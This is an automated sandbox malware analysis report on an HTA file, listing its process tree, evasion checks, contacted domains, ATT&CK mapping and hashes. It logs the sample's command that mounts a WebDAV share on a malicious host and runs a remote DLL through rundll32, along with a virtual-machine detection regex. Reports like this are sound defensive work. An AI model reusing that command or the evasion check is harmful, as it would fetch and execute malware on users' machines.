Source: C:\Windows\SysWOW64\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: cscapi.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\mshta.exe	Code function: 0_2_05E7E851 push 747876FBh; iretd	0_2_05E7E856
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C2714 push esi; mov dword ptr [esp], ecx	13_2_051C2715
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051CD03C push esi; mov dword ptr [esp], ecx	13_2_051CD03D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C2738 push esi; mov dword ptr [esp], ecx	13_2_051C2739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051CDB3A push esi; mov dword ptr [esp], ecx	13_2_051CDB3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051D5D20 push esi; mov dword ptr [esp], ecx	13_2_051D5D21
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051CDB7C push esi; mov dword ptr [esp], ecx	13_2_051CDB7D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C8D80 push esi; mov dword ptr [esp], ecx	13_2_051C8D81
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051D1AB4 push esi; mov dword ptr [esp], ecx	13_2_051D1AB6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051D5DB4 push esi; mov dword ptr [esp], ecx	13_2_051D5DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051D5DA4 push esi; mov dword ptr [esp], ecx	13_2_051D5DA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051D1AFC push esi; mov dword ptr [esp], ecx	13_2_051D1AFD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051CDBF4 push esi; mov dword ptr [esp], ecx	13_2_051CDBF6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054B3500 push esi; mov dword ptr [esp], edx	13_2_054B3501

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: \KnownDlls32\TEsTAPP.ExE

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 407			Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Window / User API: threadDelayed 1775			Jump to behavior

Source: C:\Windows\SysWOW64\net.exe TID: 7716	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 7692	Thread sleep count: 1775 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 7692	Thread sleep time: -177500s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: mshta.exe, 00000000.00000003.1753274872.00000000068D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: yc\|qemu\|kvm\|xeon\|broad
Source: mshta.exe, 00000000.00000003.1747036779.00000000074C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Ic7O7pLk5qPmjnzzjmyJ6VPzHgFSyKnVtib2CdIsgXyMR6YVWpD6Rv7s1EnCwzRiivWd8xEk7f2SoLta1HkhhJrYZeHgysYuc1aIk1phfZFps9NtyqpP2XTx9KgcvfiJeKB7yKJoOdZJSlgtAzuU1C700tkwn2zrOPGKywltxHp3CGV9eVM4z86lMm2ZvemVB7R0
Source: mshta.exe, 00000000.00000003.1747036779.00000000074C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Ic7O7pLk5qPmjnzzjmyJ6VPzHgFSyKnVtib2CdIsgXyMR6YVWpD6Rv7s1EnCwzRiivWd8xEk7f2SoLta1HkhhJrYZeHgysYuc1aIk1phfZFps9NtyqpP2XTx9KgcvfiJeKB7yKJoOdZJSlgtAzuU1C700tkwn2zrOPGKywltxHp3CGV9eVM4z86lMm2ZvemVB7R0
Source: mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.00000000033B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: mshta.exe, 00000000.00000003.1753365320.00000000084D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: r=RegExp('epyc\|qemu\|kvm\|xeon\|broad','i');
Source: mshta.exe, 00000000.00000003.1753365320.00000000084D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: epyc\|qemu\|kvm\|xeon\|broad
Source: mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.0000000003404000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1751866253.0000000003404000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.0000000003404000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.1878721536.0000000003328000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWRJ[
Source: mshta.exe, 00000000.00000003.1753274872.00000000068C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: epyc\|qemu\|kvm\|xeon\|broadNatK($&
Source: mshta.exe, 00000000.00000003.1751416924.00000000070EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1746158537.00000000072C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1755692920.00000000070EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1746508432.000000000734C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1746811473.0000000007445000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1746691300.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1747473840.00000000070F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752270771.00000000070EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1745596822.00000000070D1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1747381067.000000000750A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1744508094.0000000007BBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: G8QaYjijplJstIfuWv3Tug39dLixpnhZudF5XYjXhDVvIeiZky1BMfRKw5J1bOoZfJcnICVnDfhQR0XIc7O7pLk5qPmjnzzjmyJ6VPzHgFSyKnVtib2CdIsgXyMR6YVWpD6Rv7s1EnCwzRiivWd8xEk7f2SoLta1HkhhJrYZeHgysYuc1aIk1phfZFps9NtyqpP2XTx9KgcvfiJeKB7yKJoOdZJSlgtAzuU1C700tkwn2zrOPGKywltxHp3CGV9eVM4z86lMm2ZvemVB7R0

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 200 && net use V: /d /y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: \\1p.si@ssl\ko	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32 V:\wq\~0.dll,14:44:03.56	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 200	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: /d /y	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\net.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 200 && net use V: /d /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: \\1p.si@ssl\ko
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: /d /y
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 200 && net use V: /d /y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: \\1p.si@ssl\ko	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: /d /y	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	12 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Network Share Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Rundll32	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
search.hta	0%	ReversingLabs

Source	Detection	Scanner	Label
https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vjD	0%	Avira URL Cloud	safe
https://6bbce9aa.demonetisation.cyou/	0%	Avira URL Cloud	safe
https://1p.si/ko/wq/~0.dll	0%	Avira URL Cloud	safe
https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vj	0%	Avira URL Cloud	safe
https://1p.si/ko	0%	Avira URL Cloud	safe
https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vj5hd077qf4vj	0%	Avira URL Cloud	safe
https://1p.si/koY	0%	Avira URL Cloud	safe
https://6bbce9aa.demonetisation.cyou/Ng	0%	Avira URL Cloud	safe
https://1p.si/ko0l	0%	Avira URL Cloud	safe
https://1p.si/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
6bbce9aa.demonetisation.cyou	172.67.153.170	true	false		unknown
1p.si	147.45.112.248	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vj	false	Avira URL Cloud: safe	unknown
https://1p.si/ko/wq/~0.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vjD	mshta.exe, 00000000.00000003.1751866253.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752355417.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754481230.00000000033A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1p.si/	net.exe, 00000005.00000002.1878721536.0000000003328000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1p.si/koY	net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoft	net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://6bbce9aa.demonetisation.cyou/	mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.00000000033B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vj5hd077qf4vj	mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1751866253.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752355417.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754481230.00000000033A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1p.si/ko	net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.1878721536.0000000003362000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://6bbce9aa.demonetisation.cyou/Ng	mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.00000000033B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1p.si/ko0l	net.exe, 00000005.00000002.1878721536.0000000003362000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.153.170	6bbce9aa.demonetisation.cyou	United States		13335	CLOUDFLARENETUS	false
147.45.112.248	1p.si	Russian Federation		2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581471
Start date and time:	2024-12-27 20:43:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	search.hta
Detection:	MAL
Classification:	mal64.spyw.evad.winHTA@15/0@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 97% Number of executed functions: 18 Number of non-executed functions: 16
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, mrxdav.sys, rundll32.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 7372 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: search.hta

Simulations

Behavior and APIs

Time	Type	Description
14:44:06	API Interceptor	1x Sleep call for process: net.exe modified
14:44:38	API Interceptor	1473x Sleep call for process: timeout.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.112.248	jqplot.hta	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1p.si	VIVACIOUS_SNOWFLAKE.elf	Get hash	malicious	Sliver	Browse	142.219.25.241

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://bitstampweb.0532tg.com	Get hash	malicious	Unknown	Browse	172.67.133.12
	https://fin.hiringplatform.ca/processes/197662-tax-legislation-officer-ec-06-ec-07?locale=en	Get hash	malicious	Unknown	Browse	172.66.0.145
	SET_UP.exe	Get hash	malicious	LummaC	Browse	172.67.152.152
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.89.250
	@Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.204.41
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMFBJSDkxQ0w3VVZMNFJFUlNDRVkyU05CUi4u	Get hash	malicious	HTMLPhisher	Browse	104.21.18.132
	http://resources.onestart.ai/onestart_installer_130.0.6723.134.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	Electrum-bch-4.4.2-x86_64.AppImage.elf	Get hash	malicious	Unknown	Browse	172.67.12.83
	https://franoapas.co.in/	Get hash	malicious	Unknown	Browse	172.67.221.200
FREE-NET-ASFREEnetEU	e9aa0b4540115b3dcec3af70b6de27e54e4a0fa96d1d3.exe	Get hash	malicious	RedLine	Browse	147.45.44.224
	TCKxnQ5CPn.exe	Get hash	malicious	Unknown	Browse	147.45.49.155
	good.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	147.45.44.151
	n5Szx8qsFB.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	7ZAg3nl9Fu.exe	Get hash	malicious	Unknown	Browse	147.45.44.166
	7ZAg3nl9Fu.exe	Get hash	malicious	Unknown	Browse	147.45.44.166
	HOrW5twCLd.exe	Get hash	malicious	XenoRAT	Browse	147.45.69.75
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	147.45.44.224
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	147.45.44.131
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	147.45.112.248
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	147.45.112.248
	jqplot.hta	Get hash	malicious	Unknown	Browse	147.45.112.248
	http://aselog24x7.cl/	Get hash	malicious	HTMLPhisher	Browse	147.45.112.248
	cB1ItKbbhY.msi	Get hash	malicious	Unknown	Browse	147.45.112.248
	PVKDyWHOaX.exe	Get hash	malicious	Unknown	Browse	147.45.112.248
	RcFBMph6zu.exe	Get hash	malicious	Unknown	Browse	147.45.112.248
	http://senalongley.com	Get hash	malicious	Unknown	Browse	147.45.112.248
	ghostspider.7z	Get hash	malicious	Unknown	Browse	147.45.112.248
	Doc_14-58-28.js	Get hash	malicious	Unknown	Browse	147.45.112.248
a0e9f5d64349fb13191bc781f81f42e1	SET_UP.exe	Get hash	malicious	LummaC	Browse	147.45.112.248
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.112.248
	@Setup.exe	Get hash	malicious	LummaC	Browse	147.45.112.248
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.112.248
	Solara.exe	Get hash	malicious	LummaC	Browse	147.45.112.248
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	147.45.112.248
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	147.45.112.248
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	147.45.112.248
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	147.45.112.248
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	147.45.112.248
37f463bf4616ecd445d4a1937da06e19	TrdIE26br9.msi	Get hash	malicious	Unknown	Browse	172.67.153.170
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	172.67.153.170
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.153.170
	EB2UOXRNsE.exe	Get hash	malicious	Unknown	Browse	172.67.153.170
	gshv2.exe	Get hash	malicious	Unknown	Browse	172.67.153.170
	DOTA2#U89c6#U8ddd#U63d2#U4ef6.exe	Get hash	malicious	Unknown	Browse	172.67.153.170
	n5Szx8qsFB.lnk	Get hash	malicious	Unknown	Browse	172.67.153.170
	InExYnlM0N.lnk	Get hash	malicious	Unknown	Browse	172.67.153.170
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	172.67.153.170
	vreFmptfUu.lnk	Get hash	malicious	DanaBot	Browse	172.67.153.170

File type:	HTML document, ASCII text, with very long lines (306)
Entropy (8bit):	1.2323144844931213
TrID:
File name:	search.hta
File size:	2'016 bytes
MD5:	e9645750186d98cfabf7fff0727daafb
SHA1:	8b30f7437044c1eabd6544016a40db51d9f391db
SHA256:	1dcfad203173b4182ab886003049b1b4c94f67967a2b91976120bab8a0003f8a
SHA512:	b75f5d24ba2bec8370f37efdd0b333278ae2fc1084c2f4980f15f4418d6a1032a0e21c0ded1218da63be1443a281656e4cfd88449eabbbe6977fb47a12f44168
SSDEEP:	6:6AL/YVdWF6CR9f356eosP2R63o1qPWJVDMDgA3+SXaTvdWHHgVb:6wYmF6CR5Jfom2R0fWJVcgAOSXaMHcb
TLSH:	0641B6D8E6A9C21B2BCC69B3EA14DEC955B5C136D0C5724383ADF80D049A168C569400
File Content Preview:	...............................................................................................................................................................................................................................................................

